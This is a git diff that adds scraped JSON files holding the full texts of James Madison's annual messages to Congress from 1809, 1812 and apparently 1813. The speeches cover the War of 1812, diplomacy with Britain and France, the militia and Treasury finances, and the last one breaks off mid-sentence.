+    "speech": "Fellow-Citizens of the Senate and House of Representatives:In meeting you at the present interesting conjuncture it would have been\nhighly satisfactory if I could have communicated a favorable result to the\nmission charged with negotiations for restoring peace. It was a just\nexpectation, from the respect due to the distinguished Sovereign who had\ninvited them by his offer of mediation, from the readiness with which the\ninvitation was accepted on the part of the United States, and from the\npledge to be found in an act of their Legislature for the liberality which\ntheir plenipotentiaries would carry into the negotiations, that no time\nwould be lost by the British Government in embracing the experiment for\nhastening a stop to the effusion of blood. A prompt and cordial acceptance\nof the mediation on that side was the less to be doubted, as it was of a\nnature not to submit rights or pretensions on either side to the decision\nof an umpire, but to afford merely an opportunity, honorable and desirable\nto both, for discussing and, if possible, adjusting them for the interest\nof both.The British cabinet, either mistaking our desire of peace for a dread of\nBritish power or misled by other fallacious calculations, has disappointed\nthis reasonable anticipation. No communications from our envoys having\nreached us, no information on the subject has been received from that\nsource; but it is known that the mediation was declined in the first\ninstance, and there is no evidence, notwithstanding the lapse of time, that\na change of disposition in the British councils has taken place or is to be\nexpected.Under such circumstances a nation proud of its rights and conscious of its\nstrength has no choice but an exertion of the one in support of the other.To this determination the best encouragement is derived from the success\nwith which it has pleased the Almighty to bless our arms both on the land\nand on the water.Whilst proofs have been continued of the enterprise and skill of our\ncruisers, public and private, on the ocean, and a trophy gained in the\ncapture of a British by an American vessel of war, after an action giving\ncelebrity to the name of the victorious commander, the great inland waters\non which the enemy were also to be encountered have presented achievements\nof our naval arms as brilliant in their character as they have been\nimportant in their consequences.On Lake Erie, the squadron under command of Captain Perry having met the\nBritish squadron of superior force, a sanguinary conflict ended in the\ncapture of the whole. The conduct of that officer, adroit as it was daring,\nand which was so well seconded by his comrades, justly entitles them to the\nadmiration and gratitude of their country, and will fill an early page in\nits naval annals with a victory never surpassed in luster, however much it\nmay have been in magnitude.On Lake Ontario the caution of the British commander, favored by\ncontingencies, frustrated the efforts of the American commander to bring on\na decisive action. Captain Chauncey was able, however, to establish an\nascendancy on that important theater, and to prove by the manner in which\nhe effected everything possible that opportunities only were wanted for a\nmore shining display of his own talents and the gallantry of those under\nhis command.The success on Lake Erie having opened a passage to the territory of the\nenemy, the officer commanding the Northwestern army transferred the war\nthither, and rapidly pursuing the hostile troops, fleeing with their savage\nassociates, forced a general action, which quickly terminated in the\ncapture of the British and dispersion of the savage force.This result is signally honorable to Major-General Harrison, by whose\nmilitary talents it was prepared; to Colonel Johnson and his mounted\nvolunteers, whose impetuous onset gave a decisive blow to the ranks of the\nenemy, and to the spirit of the volunteer militia, equally brave and\npatriotic, who bore an interesting part in the scene; more especially to\nthe chief magistrate of Kentucky, at the head of them, whose heroism\nsignalized in the war which established the independence of his country,\nsought at an advanced age a share in hardships and battles for maintaining\nits rights and its safely.The effect of these successes has been to rescue the inhabitants of\nMichigan from their oppressions, aggravated by gross infractions of\nthe capitulation which subjected them to a foreign power; to alienate\nthe savages of numerous tribes from the enemy, by whom they were\ndisappointed and abandoned, and to relieve an extensive region of country\nfrom a merciless warfare which desolated its frontiers and imposed on its\ncitizens the most harassing services.In consequences of our naval superiority on Lake Ontario and the\nopportunity afforded by it for concentrating our forces by water,\noperations which had been provisionally planned were set on foot against\nthe possessions of the enemy on the St. Lawrence. Such, however, was the\ndelay produced in the first instance by adverse weather of unusual violence\nand continuance and such the circumstances attending the final movements of\nthe army, that the prospect, at one time so favorable, was not realized.The cruelty of the enemy in enlisting the savages into a war with a nation\ndesirous of mutual emulation in mitigating its calamities has not been\nconfined to any one quarter. Wherever they could be turned against us no\nexertions to effect it have been spared. On our southwestern border the\nCreek tribes, who, yielding to our persevering endeavors, were gradually\nacquiring more civilized habits, became the unfortunate victims of\nseduction. A war in that quarter has been the consequence, infuriated by a\nbloody fanaticism recently propagated among them. It was necessary to crush\nsuch a war before it could spread among the contiguous tribes and before it\ncould favor enterprises of the enemy into that vicinity. With this view a\nforce was called into the service of the United States from the States of\nGeorgia and Tennessee, which, with the nearest regular troops and other\ncorps from the Massachussets Territory, might not only chastise the savages\ninto present peace but make a lasting impression on their fears.The progress of the expedition, as far as is yet known, corresponds with\nthe martial zeal with which it was espoused, and the best hopes of a\nsatisfactory issue are authorized by the complete success with which a\nwell-planned enterprise was executed against a body of hostile savages by a\ndetachment of the volunteer militia of Tennessee, under the gallant\ncommand of General Coffee, and by a still more important victory over a\nlarger body of them, gained under the immediate command of Major-General\nJackson, an officer equally distinguished for his patriotism and his\nmilitary talents.The systematic perseverance of the enemy in courting the aid of the savages\nin all quarters had the natural effect of kindling their ordinary\npropensity to war into a passion, which, even among those best disposed\ntoward the United States, was ready, if not employed on our side, to be\nturned against us. A departure from our protracted forbearance to accept\nthe services tendered by them has thus been forced upon us. But in yielding\nto it the retaliation has been mitigated as much as possible, both in its\nextent and in its character, stopping far short of the example of the\nenemy, who owe the advantages they have occasionally gained in battle\nchiefly to the number of their savage associates, and who have not\ncontrolled them either from their usual practice of indiscriminate\nmassacre on defenseless inhabitants or from scenes of carnage without a\nparallel on prisoners to the British arms, guarded by all the laws of\nhumanity and of honorable war. For these enormities the enemy are equally\nresponsible, whether with the power to prevent them they want the will or\nwith the knowledge of a want of power they still avail themselves of such\ninstruments.In other respects the enemy are pursuing a course which threatens\nconsequences most afflicting to humanity.A standing law of Great Britain naturalizes, as is well known, all aliens\ncomplying with conditions limited to a shorter period than those required\nby the United States, and naturalized subjects are in war employed by her\nGovernment in common with native subjects. In a contiguous British Province\nregulations promulgated since the commencement of the war compel citizens\nof the United States being there under certain circumstances to bear arms,\nwhilst of the native emigrants from the United States, who compose much of\nthe population of the Province, a number have actually borne arms against\nthe United States within their limits, some of whom, after having done so,\nhave become prisoners of war, and are now in our possession. The British\ncommander in that Province, nevertheless, with the sanction, as appears, of\nhis Government, thought proper to select from American prisoners of war and\nsend to Great Britain for trial as criminals a number of individuals who\nhad emigrated from the British dominions long prior to the state of war\nbetween the two nations, who had incorporated themselves into our\npolitical society in the modes recognized by the law and the practice of\nGreat Britain, and who were made prisoners of war under the banners of\ntheir adopted country, fighting for its rights and its safety.The protection due to these citizens requiring an effectual interposition\nin their behalf, a like number of British prisoners of war were put into\nconfinement, with a notification that they would experience whatever\nviolence might be committed on the American prisoners of war sent to Great\nBritain.It was hoped that this necessary consequence of the step unadvisedly taken\non the part of Great Britain would have led her Government to reflect on\nthe inconsistencies of its conduct, and that a sympathy with the British,\nif not with the American, sufferers would have arrested the cruel career\nopened by its example.This was unhappily not the case. In violation both of consistency and of\nhumanity, American officers and non-commissioned officers in double the\nnumber of the British soldiers confined here were ordered into close\nconfinement, with formal notice that in the event of a retaliation for the\ndeath which might be inflicted on the prisoners of war sent to Great\nBritain for trial the officers so confined would be put to death also. It\nwas notified at the same time that the commanders of the British fleets and\narmies on our coasts are instructed in the same event to proceed with a\ndestructive severity against our towns and their inhabitants.That no doubt might be left with the enemy of our adherence to the\nretaliatory resort imposed on us, a correspondent number of British\nofficers, prisoners of war in our hands, were immediately put into close\nconfinement to abide the fate of those confined by the enemy, and the\nBritish Government was apprised of the determination of this Government to\nretaliate any other proceedings against us contrary to the legitimate modes\nof warfare.It is fortunate for the United States that they have it in their power to\nmeet the enemy in this deplorable contest as it is honorable to them that\nthey do not join in it but under the most imperious obligations, and with\nthe humane purpose of effectuating a return to the established usages of\nwar.The views of the French Government on the subjects which have been so long\ncommitted to negotiation have received no elucidation since the close of\nyour late session. The minister plenipotentiary of the United States at\nParis had not been enabled by proper opportunities to press the objects of\nhis mission as prescribed by his instructions.The militia being always to be regarded as the great bulwark of defense and\nsecurity for free states, and the Constitution having wisely committed to\nthe national authority a use of that force as the best provision against an\nunsafe military establishment, as well as a resource peculiarly adapted to\na country having the extent and the exposure of the United States, I\nrecommend to Congress a revision of the militia laws for the purpose of\nsecuring more effectually the services of all detachments called into the\nemployment and placed under the Government of the United States.It will deserve the consideration of Congress also whether among other\nimprovements in the militia laws justice does not require a regulation,\nunder due precautions, for defraying the expense incident to the first\nassembling as well as the subsequent movements of detachments called into\nthe national service.To give to our vessels of war, public and private, the requisite advantage\nin their cruises, it is of much importance that they should have, both for\nthemselves and their prizes, the use of the ports and markets of friendly\npowers. With this view, I recommend to Congress the expediency of such\nlegal provisions as may supply the defects or remove the doubts of the\nExecutive authority, to allow to the cruisers of other powers at war with\nenemies of the United States such use of the American ports as may\ncorrespond with the privileges allowed by such powers to American\ncruisers.During the year ending on the 30th of September last the receipts into the\nTreasury have exceeded $37.5 millions, of which near $24 millions were the\nproduce of loans. After meeting all demands for the public service there\nremained in the Treasury on that day near $7 millions. Under the\nauthority contained in the act of the 2nd of August last for borrowing\n$7.5 millions, that sum has been obtained on terms more favorable to the\nUnited States than those of the preceding loans made during the present\nyear. Further sums to a considerable amount will be necessary to be\nobtained in the same way during the ensuing year, and from the increased\ncapital of the country, from the fidelity with which the public\nengagements have been kept and the public credit maintained, it may be\nexpected on good grounds that the necessary pecuniary supplies will\nnot be wanting.The expenses of the current year, from the multiplied operations falling\nwithin it, have necessarily been extensive; but on a just estimate of the\ncampaign in which the mass of them has been incurred the cost will not be\nfound disproportionate to the advantages which have been gained. The\ncampaign has, indeed, in its latter stages in one quarter been less\nfavorable than was expected, but in addition to the importance of our naval\nsuccess the progress of the campaign has been filled with incidents highly\nhonorable to the American arms.The attacks of the enemy on Craney Island, on Fort Meigs, on Sacketts\nHarbor, and on Sandusky have been vigorously and successfully repulsed; nor\nhave they in any case succeeded on either frontier excepting when directed\nagainst the peaceable dwellings of individuals or villages unprepared or\nundefended.On the other hand, the movements of the American Army have been followed by\nthe reduction of York, and of Forts George, Erie, and Malden; by the\nrecovery of Detroit and the extinction of the Indian war in the West, and\nby the occupancy or command of a large portion of Upper Canada. Battles\nhave also been fought on the borders of the St. Lawrence, which, though not\naccomplishing their entire objects, reflect honor on the discipline and\nprowess of our soldiery, the best auguries of eventual victory. In the same\nscale are to be placed the late successes in the South over one of the most\npowerful, which had become one of the most hostile also, of the Indian\ntribes.It would be improper to close this communication without expressing a\nthankfulness in which all ought to unite for the abundance; for the\npreservation of our internal tranquillity, and the stability of our free\ninstitutions, and, above all, for the light of divine truth and the\nprotection of every man's conscience in the enjoyment of it. And although\namong our blessings we can not number an exemption from the evils of war,\nyet these will never be regarded as the greatest of evils by the friends of\nliberty and of the rights of nations. Our country has before preferred them\nto the degraded condition which was the alternative when the sword was\ndrawn in the cause which gave birth to our national independence, and none\nwho contemplate the magnitude and feel the value of that glorious event\nwill shrink from a struggle to maintain the high and happy ground on which\nit placed the American people.With all good citizens the justice and necessity of resisting wrongs and\nusurpations no longer to be borne will sufficiently outweigh the privations\nand sacrifices inseparable from a state of war. But it is a reflection,\nmoreover, peculiarly consoling, that, whilst wars are generally aggravated\nby their baneful effects on the internal improvements and permanent\nprosperity of the nations engaged in them, such is the favored situation of\nthe United States that the calamities of the contest into which they have\nbeen compelled to enter are mitigated by improvements and advantages of\nwhich the contest itself is the source.If the war has increased the interruptions of our commerce, it has at the\nsame time cherished and multiplied our manufactures so as to make us\nindependent of all other countries for the more essential branches for\nwhich we ought to be dependent on none, and is even rapidly giving them an\nextent which will create additional staples in our future intercourse with\nforeign markets.If much treasure has been expended, no inconsiderable portion of it has\nbeen applied to objects durable in their value and necessary to our\npermanent safety.If the war has exposed us to increased spoliations on the ocean and to\npredatory incursions on the land, it has developed the national means of\nretaliating the former and of providing protection against the latter,\ndemonstrating to all that every blow aimed at our maritime independence is\nan impulse accelerating the growth of our maritime power.By diffusing through the mass of the nation the elements of military\ndiscipline and instruction; by augmenting and distributing warlike\npreparations applicable to future use; by evincing the zeal and valor with\nwhich they will be employed and the cheerfulness with which every necessary\nburden will be borne, a greater respect for our rights and a longer\nduration of our future peace are promised than could be expected without\nthese proofs of the national character and resources.The war has proved moreover that our free Government, like other free\ngovernments, though slow in its early movements, acquires in its progress a\nforce proportioned to its freedom, and that the union of these States, the\nguardian of the freedom and safety of all and of each, is strengthened by\nevery occasion that puts it to the test.In fine, the war, with all its vicissitudes, is illustrating the capacity\nand the destiny of the United States to be a great, a flourishing, and a\npowerful nation, worthy of the friendship which it is disposed to cultivate\nwith all others, and authorized by its own example to require from all an\nobservance of the laws of justice and reciprocity. Beyond these their\nclaims have never extended, and in contending for these we behold a subject\nfor our congratulations in the daily testimonies of increasing harmony\nthroughout the nation, and may humbly repose our trust in the smiles of\nHeaven on so righteous a cause.", 
+    "name": "James Madison"
+}
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+{
+    "date": "November 29, 1809", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:At the period of our last meeting I had the satisfaction of communicating\nan adjustment with one of the principal belligerent nations, highly\nimportant in itself, and still more so as presaging a more extended\naccommodation. It is with deep concern I am now to inform you that the\nfavorable prospect has been over-clouded by a refusal of the British\nGovernment to abide by the act of its minister plenipotentiary, and by its\nensuing policy toward the United States as seen through the communications\nof the minister sent to replace him.Whatever pleas may be urged for a disavowal of engagements formed by\ndiplomatic functionaries in cases where by the terms of the engagements a\nmutual ratification is reserved, or where notice at the time may have been\ngiven of a departure from instructions, or in extraordinary cases\nessentially violating the principles of equity, a disavowal could not have\nbeen apprehended in a case where no such notice or violation existed, where\nno such ratification was reserved, and more especially where, as is now in\nproof, an engagement to be executed without any such ratification was\ncontemplated by the instructions given, and where it had with good faith\nbeen carried into immediate execution on the part of the United States.These considerations not having restrained the British Government from\ndisavowing the arrangement by virtue of which its orders in council were to\nbe revoked, and the event authorizing the renewal of commercial intercourse\nhaving thus not taken place, it necessarily became a question of equal\nurgency and importance whether the act prohibiting that intercourse was not\nto be considered as remaining in legal force. This question being, after\ndue deliberation, determined in the affirmative, a proclamation to that\neffect was issued. It could not but happen, however, that a return to this\nstate of things from that which had followed an execution of the\narrangement by the United States would involve difficulties. With a view to\ndiminish these as much as possible, the instructions from the Secretary of\nthe Treasury now laid before you were transmitted to the collectors of the\nseveral ports. If in permitting British vessels to depart without giving\nbonds not to proceed to their own ports it should appear that the tenor of\nlegal authority has not been strictly pursued, it is to be ascribed to the\nanxious desire which was felt that no individuals should be injured by so\nunforeseen an occurrence; and I rely on the regard of Congress for the\nequitable interests of our own citizens to adopt whatever further\nprovisions may be found requisite for a general remission of penalties\ninvoluntarily incurred.The recall of the disavowed minister having been followed by the\nappointment of a successor, hopes were indulged that the new mission would\ncontribute to alleviate the disappointment which had been produced, and to\nremove the causes which had so long embarrassed the good understanding of\nthe two nations. It could not be doubted that it would at least be charged\nwith conciliatory explanations of the step which had been taken and with\nproposals to be substituted for the rejected arrangement.Reasonable and universal as this expectation was, it also has not been\nfulfilled. From the first official disclosures of the new minister it was\nfound that he had received no authority to enter into explanations relative\nto either branch of the arrangement disavowed nor any authority to\nsubstitute proposals as to that branch which concerned the British orders\nin council, and, finally, that his proposals with regard to the other\nbranch, the attack on the frigate Chesapeake, were founded on a\npresumption repeatedly declared to be inadmissible by the United States,\nthat the first step toward adjustment was due from them, the proposals\nat the same time omitting even a reference to the officer answerable for\nthe murderous aggression, and asserting a claim not less contrary to the\nBritish laws and British practice than to the principles and obligations\nof the United States.The correspondence between the Department of State and this minister will\nshow how unessentially the features presented in its commencement have been\nvaried in its progress. It will show also that, forgetting the respect due\nto all governments, he did not refrain from imputations on this, which\nrequired that no further communications should be received from him. The\nnecessity of this step will be made known to His Britannic Majesty through\nthe minister plenipotentiary of the United States in London; and it would\nindicate a want of the confidence due to a Government which so well\nunderstands and exacts what becomes foreign ministers near it not to infer\nthat the misconduct of its own representative will be viewed in the same\nlight in which it has been regarded here. The British Government will learn\nat the same time that a ready attention will be given to communications\nthrough any channel which may be substituted. It will be happy if the\nchange in this respect should be accompanied by a favorable revision of the\nunfriendly policy which has been so long pursued toward the United States.With France, the other belligerent, whose trespasses on our commercial\nrights have long been the subject of our just remonstrances, the posture of\nour relations does not correspond with the measures taken on the part of\nthe United States to effect a favorable change. The result of the several\ncommunications made to her Government, in pursuance of the authorities\nvested by Congress in the Executive, is contained in the correspondence of\nour minister at Paris now laid before you.By some of the other belligerents, although professing just and amicable\ndispositions, injuries materially affecting our commerce have not been duly\ncontrolled or repressed. In these cases the interpositions deemed proper on\nour part have not been omitted. But it well deserves the consideration of\nthe Legislature how far both the safety and the honor of the American flag\nmay be consulted, by adequate provisions against that collusive\nprostitution of it by individuals unworthy of the American name which has\nso much flavored the real or pretended suspicions under which the honest\ncommerce of their fellow citizens has suffered.In relation to the powers on the coast of Barbary, nothing has occurred\nwhich is not of a nature rather to inspire confidence than distrust as to\nthe continuance of the existing amity. With our Indian neighbors, the just\nand benevolent system continued toward them has also preserved peace, and\nis more and more advancing habits favorable to their civilization and\nhappiness.From a statement which will be made by the Secretary of War it will be seen\nthat the fortifications on our maritime frontier are in many of the ports\ncompleted, affording the defense which was contemplated, and that a further\ntime will be required to render complete the works in the harbor of New\nYork and in some other places. By the enlargement of the works and the\nemployment of a greater number of hands at the public armories the supply\nof small arms of an improving quality appears to be annually increasing at\na rate that, with those made on private contract, may be expected to go far\ntoward providing for the public exigency.The act of Congress providing for the equipment of our vessels of war\nhaving been fully carried into execution, I refer to the statement of the\nSecretary of the Navy for the information which may be proper on that\nsubject. To that statement is added a view of the transfers of\nappropriations authorized by the act of the session preceding the last and\nof the grounds on which the transfers were made.Whatever may be the course of your deliberations on the subject of our\nmilitary establishments, I should fail in my duty in not recommending to\nyour serious attention the importance of giving to our militia, the great\nbulwark of our security and resource of our power, an organization best\nadapted to eventual situations for which the United States ought to be\nprepared.The sums which had been previously accumulated in the Treasury, together\nwith the receipts during the year ending on the 30th of September last (and\namounting to more than $9 millions), have enabled us to fulfill all our\nengagements and to defray the current expenses of Government without\nrecurring to any loan. But the insecurity of our commerce and the\nconsequent diminution of the public revenue will probably produce a\ndeficiency in the receipts of the ensuing year, for which and for other\ndetails I refer to the statements which will be transmitted from the\nTreasury.In the state which has been presented of our affairs with the great parties\nto a disastrous and protracted war, carried on in a mode equally injurious\nand unjust to the United States as a neutral nation, the wisdom of the\nNational Legislature will be again summoned to the important decision on\nthe alternatives before them. That these will be met in a spirit worthy the\ncouncils of a nation conscious both of its rectitude and of its rights, and\ncareful as well of its honor as of its peace, I have an entire confidence;\nand that the result will be stamped by a unanimity becoming the occasion,\nand be supported by every portion of our citizens with a patriotism\nenlightened and invigorated by experience, ought as little to be doubted.In the midst of the wrongs and vexations experienced from external causes\nthere is much room for congratulation on the prosperity and happiness\nflowing from our situation at home. The blessing of health has never been\nmore universal. The fruits of the seasons, though in particular articles\nand districts short of their usual redundancy, are more than sufficient for\nour wants and our comforts. The face of our country ever presents evidence\nof laudable enterprise, of extensive capital, and of durable improvement.\nIn a cultivation of the materials and the extension of useful manufactures,\nmore especially in the general application to household fabrics, we behold\na rapid diminution of our dependence on foreign supplies. Nor is it\nunworthy of reflection that this revolution in our pursuits and habits is\nin no slight degree a consequence of those impolitic and arbitrary edicts\nby which the contending nations, in endeavoring each of them to obstruct\nour trade with the other, have so far abridged our means of procuring the\nproductions and manufactures of which our own are now taking the place.Recollecting always that for every advantage which may contribute to\ndistinguish our lot from that to which others are doomed by the unhappy\nspirit of the times we are indebted to that Divine Providence whose\ngoodness has been so remarkably extended to this rising nation, it becomes\nus to cherish a devout gratitude, and to implore from the same omnipotent\nsource a blessing on the consultations and measures about to be undertaken\nfor the welfare of our beloved country.", 
+    "name": "James Madison"
+}
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diff --git a/pyscrapper/stateofunion/ScrapedData/James MadisonNovember 4, 1812.json b/pyscrapper/stateofunion/ScrapedData/James MadisonNovember 4, 1812.json
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+{
+    "date": "November 4, 1812", 
+    "speech": "Fellow-Citizens of the Senate and House of Representatives:On our present meeting it is my first duty to invite your attention to the\nprovidential favors which our country has experienced in the unusual degree\nof health dispensed to its inhabitants, and in the rich abundance with\nwhich the earth has rewarded the labors bestowed on it. In the successful\ncultivation of other branches of industry, and in the progress of general\nimprovement favorable to the national prosperity, there is just occasion\nalso for our mutual congratulations and thankfulness.With these blessings are necessarily mingled the pressures and vicissitudes\nincident to the state of war into which the United States have been forced\nby the perseverance of a foreign power in its system of injustice and\naggression.Previous to its declaration it was deemed proper, as a measure of\nprecaution and forecast, that a considerable force should be placed in the\nMichigan Territory with a general view to its security, and, in the event\nof war, to such operations in the uppermost Canada as would intercept the\nhostile influence of Great Britain over the savages, obtain the command of\nthe lake on which that part of Canada borders, and maintain cooperating\nrelations with such forces as might be most conveniently employed against\nother parts.Brigadier-General Hull was charged with this provisional service, having\nunder his command a body of troops composed of regulars and of volunteers\nfrom the State of Ohio. Having reached his destination after his knowledge\nof the war, and possessing discretionary authority to act offensively, he\npassed into the neighboring territory of the enemy with a prospect of easy\nand victorious progress. The expedition, nevertheless, terminated\nunfortunately, not only in a retreat to the town and fort of Detroit, but\nin the surrender of both and of the gallant corps commanded by that\nofficer. The causes of this painful reverse will be investigated by a\nmilitary tribunal.A distinguishing feature in the operations which preceded and followed this\nadverse event is the use made by the enemy of the merciless savages under\ntheir influence. Whilst the benevolent policy of the United States\ninvariably recommended peace and promoted civilization among that wretched\nportion of the human race, and was making exertions to dissuade them from\ntaking either side in the war, the enemy has not scrupled to call to his\naid their ruthless ferocity, armed with the horrors of those instruments of\ncarnage and torture which are known to spare neither age nor sex. In this\noutrage against the laws of honorable war and against the feelings sacred\nto humanity the British commanders can not resort to a plea of retaliation,\nfor it is committed in the face of our example. They can not mitigate it by\ncalling it a self-defense against men in arms, for it embraces the most\nshocking butcheries of defenseless families. Nor can it be pretended that\nthey are not answerable for the atrocities perpetrated, since the savages\nare employed with a knowledge, and even with menaces, that their fury could\nnot be controlled. Such is the spectacle which the deputed authorities of a\nnation boasting its religion and morality have not been restrained from\npresenting to an enlightened age.The misfortune at Detroit was not, however, without a consoling effect. It\nwas followed by signal proofs that the national spirit rises according to\nthe pressure on it. The loss of an important post and of the brave men\nsurrendered with it inspired everywhere new ardor and determination. In the\nStates and districts least remote it was no sooner known than every citizen\nwas ready to fly with his arms at once to protect his brethren against the\nblood-thirsty savages let loose by the enemy on an extensive frontier, and\nto convert a partial calamity into a source of invigorated efforts. This\npatriotic zeal, which it was necessary rather to limit than excite, has\nembodied an ample force from the States of Kentucky and Ohio and from parts\nof Pennsylvania and Virginia. It is placed, with the addition of a few\nregulars, under the command of Brigadier-General Harrison, who possesses\nthe entire confidence of his fellow soldiers, among whom are citizens, some\nof them volunteers in the ranks, not less distinguished by their political\nstations than by their personal merits. The greater portion of this force\nis proceeding in relieving an important frontier post, and in several\nincidental operations against hostile tribes of savages, rendered\nindispensable by the subserviency into which they had been seduced by the\nenemy--a seduction the more cruel as it could not fail to impose a\nnecessity of precautionary severities against those who yielded to it.At a recent date an attack was made on a post of the enemy near Niagara by\na detachment of the regular and other forces under the command of\nMajor-General Van Rensselaer, of the militia of the State of New York. The\nattack, it appears, was ordered in compliance with the ardor of the troops,\nwho executed it with distinguished gallantry, and were for a time\nvictorious; but not receiving the expected support, they were compelled to\nyield to reenforcements of British regulars and savages. Our loss has been\nconsiderable, and is deeply to be lamented. That of the enemy, less\nascertained, will be the more felt, as it includes among the killed the\ncommanding general, who was also the governor of the Province, and was\nsustained by veteran troops from unexperienced soldiers, who must daily\nimprove in the duties of the field.Our expectation of gaining the command of the Lakes by the invasion of\nCanada from Detroit having been disappointed, measures were instantly taken\nto provide on them a naval force superior to that of the enemy. From the\ntalents and activity of the officer charged with this object everything\nthat can be done may be expected. Should the present season not admit of\ncomplete success, the progress made will insure for the next a naval\nascendancy where it is essential to our permanent peace with and control\nover the savages.Among the incidents to the measures of the war I am constrained to advert\nto the refusal of the governors of Maine and Connecticut to furnish the\nrequired detachments of militia toward the defense of the maritime\nfrontier. The refusal was founded on a novel and unfortunate exposition of\nthe provisions of the Constitution relating to the militia. The\ncorrespondences which will be laid before you contain the requisite\ninformation on the subject. It is obvious that if the authority of the\nUnited States to call into service and command the militia for the public\ndefense can be thus frustrated, even in a state of declared war and of\ncourse under apprehensions of invasion preceding war, they are not one\nnation for the purpose most of all requiring it, and that the public safety\nmay have no other resource than in those large and permanent military\nestablishments which are forbidden by the principles of our free\ngovernment, and against the necessity of which the militia were meant to be\na constitutional bulwark.On the coasts and on the ocean the war has been as successful as\ncircumstances inseparable from its early stages could promise. Our public\nships and private cruisers, by their activity, and, where there was\noccasion, by their intrepidity, have made the enemy sensible of the\ndifference between a reciprocity of captures and the long confinement of\nthem to their side. Our trade, with little exception, has safely reached\nour ports, having been much favored in it by the course pursued by a\nsquadron of our frigates under the command of Commodore Rodgers, and in the\ninstance in which skill and bravery were more particularly tried with those\nof the enemy the American flag had an auspicious triumph. The frigate\nConstitution, commanded by Captain Hull, after a close and short engagement\ncompletely disabled and captured a British frigate, gaining for that\nofficer and all on board a praise which can not be too liberally bestowed,\nnot merely for the victory actually achieved, but for that prompt and cool\nexertion of commanding talents which, giving to courage its highest\ncharacter, and to the force applied its full effect, proved that more could\nhave been done in a contest requiring more.Anxious to abridge the evils from which a state of war can not be exempt, I\nlost no time after it was declared in conveying to the British Government\nthe terms on which its progress might be arrested, without awaiting the\ndelays of a formal and final pacification, and our charge d'affaires at\nLondon was at the same time authorized to agree to an armistice founded\nupon them. These terms required that the orders in council should be\nrepealed as they affected the United States, without a revival of blockades\nviolating acknowledged rules, and that there should be an immediate\ndischarge of American sea men from British ships, and a stop to impressment\nfrom American ships, with an understanding that an exclusion of the sea men\nof each nation from the ships of the other should be stipulated, and that\nthe armistice should be improved into a definitive and comprehensive\nadjustment of depending controversies.Although a repeal of the orders susceptible of explanations meeting the\nviews of this Government had taken place before this pacific advance was\ncommunicated to that of Great Britain, the advance was declined from an\navowed repugnance to a suspension of the practice of impressments during\nthe armistice, and without any intimation that the arrangement proposed\nwith regard to sea men would be accepted. Whether the subsequent\ncommunications from this Government, affording an occasion for\nreconsidering the subject on the part of Great Britain, will be viewed\nin a more favorable light or received in a more accommodating spirit\nremains to be known. It would be unwise to relax our measures in any\nrespect on a presumption of such a result.The documents from the Department of State which relate to this subject\nwill give a view also of the propositions for an armistice which have been\nreceived here, one of them from the authorities at Halifax and in Canada,\nthe other from the British Government itself through Admiral Warren, and of\nthe grounds on which neither of them could be accepted.Our affairs with France retain the posture which they held at my last\ncommunications to you. Notwithstanding the authorized expectations of an\nearly as well as favorable issue to the discussions on foot, these have\nbeen procrastinated to the latest date. The only intervening occurrence\nmeriting attention is the promulgation of a French decree purporting to be\na definitive repeal of the Berlin and Milan decrees. This proceeding,\nalthough made the ground of the repeal of the British orders in council, is\nrendered by the time and manner of it liable to many objections.The final communications from our special minister to Denmark afford\nfurther proofs of the good effects of his mission, and of the amicable\ndisposition of the Danish Government. From Russia we have the satisfaction\nto receive assurances of continued friendship, and that it will not be\naffected by the rupture between the United States and Great Britain. Sweden\nalso professes sentiments favorable to the subsisting harmony.With the Barbary Powers, excepting that of Algiers, our affairs remain on\nthe ordinary footing. The consul-general residing with that Regency has\nsuddenly and without cause been banished, together with all the American\ncitizens found there. Whether this was the transitory effect of capricious\ndespotism or the first act of predetermined hostility is not ascertained.\nPrecautions were taken by the consul on the latter supposition.The Indian tribes not under foreign instigations remain at peace, and\nreceive the civilizing attentions which have proved so beneficial to them.With a view to that vigorous prosecution of the war to which our national\nfaculties are adequate, the attention of Congress will be particularly\ndrawn to the insufficiency of existing provisions for filling up the\nmilitary establishment. Such is the happy condition of our country, arising\nfrom the facility of subsistence and the high wages for every species of\noccupation, that notwithstanding the augmented inducements provided at the\nlast session, a partial success only has attended the recruiting service.\nThe deficiency has been necessarily supplied during the campaign by other\nthan regular troops, with all the inconveniences and expense incident to\nthem. The remedy lies in establishing more favorably for the private\nsoldier the proportion between his recompense and the term of his\nenlistment, and it is a subject which can not too soon or too seriously be\ntaken into consideration.The same insufficiency has been experienced in the provisions for\nvolunteers made by an act of the last session. The recompense for the\nservice required in this case is still less attractive than in the other,\nand although patriotism alone has sent into the field some valuable corps\nof that description, those alone who can afford the sacrifice can be\nreasonably expected to yield to that impulse.It will merit consideration also whether as auxiliary to the security of\nour frontiers corps may not be advantageously organized with a restriction\nof their services to particular districts convenient to them, and whether\nthe local and occasional services of mariners and others in the sea port\ntowns under a similar organization would not be a provident addition to the\nmeans of their defense.I recommend a provision for an increase of the general officers of the\nArmy, the deficiency of which has been illustrated by the number and\ndistance of separate commands which the course of the war and the\nadvantage of the service have required.And I can not press too strongly on the earliest attention of the\nLegislature the importance of the reorganization of the staff establishment\nwith a view to render more distinct and definite the relations and\nresponsibilities of its several departments. That there is room for\nimprovements which will materially promote both economy and success in what\nappertains to the Army and the war is equally inculcated by the examples of\nother countries and by the experience of our own.A revision of the militia laws for the purpose of rendering them more\nsystematic and better adapting them to emergencies of the war is at this\ntime particularly desirable.Of the additional ships authorized to be fitted for service, two will be\nshortly ready to sail, a third is under repair, and delay will be avoided\nin the repair of the residue. Of the appropriations for the purchase of\nmaterials for ship building, the greater part has been applied to that\nobject and the purchase will be continued with the balance.The enterprising spirit which has characterized our naval force and its\nsuccess, both in restraining insults and depredations on our coasts and in\nreprisals on the enemy, will not fail to recommend an enlargement of it.There being reason to believe that the act prohibiting the acceptance of\nBritish licenses is not a sufficient guard against the use of them, for\npurposes favorable to the interests and views of the enemy, further\nprovisions on that subject are highly important. Nor is it less so that\npenal enactments should be provided for cases of corrupt and perfidious\nintercourse with the enemy, not amounting to treason nor yet embraced by\nany statutory provisions.A considerable number of American vessels which were in England when the\nrevocation of the orders in council took place were laden with British\nmanufactures under an erroneous impression that the non-importation act\nwould immediately cease to operate, and have arrived in the United States.\nIt did not appear proper to exercise on unforeseen cases of such magnitude\nthe powers vested in the Treasury Department to mitigate forfeitures\nwithout previously affording to Congress an opportunity of making on the\nsubject such provision as they may think proper. In their decision they\nwill doubtless equally consult what is due to equitable considerations and\nto the public interest.The receipts into the Treasury during the year ending on the 30th of\nSeptember last have exceeded $16.5 millions, 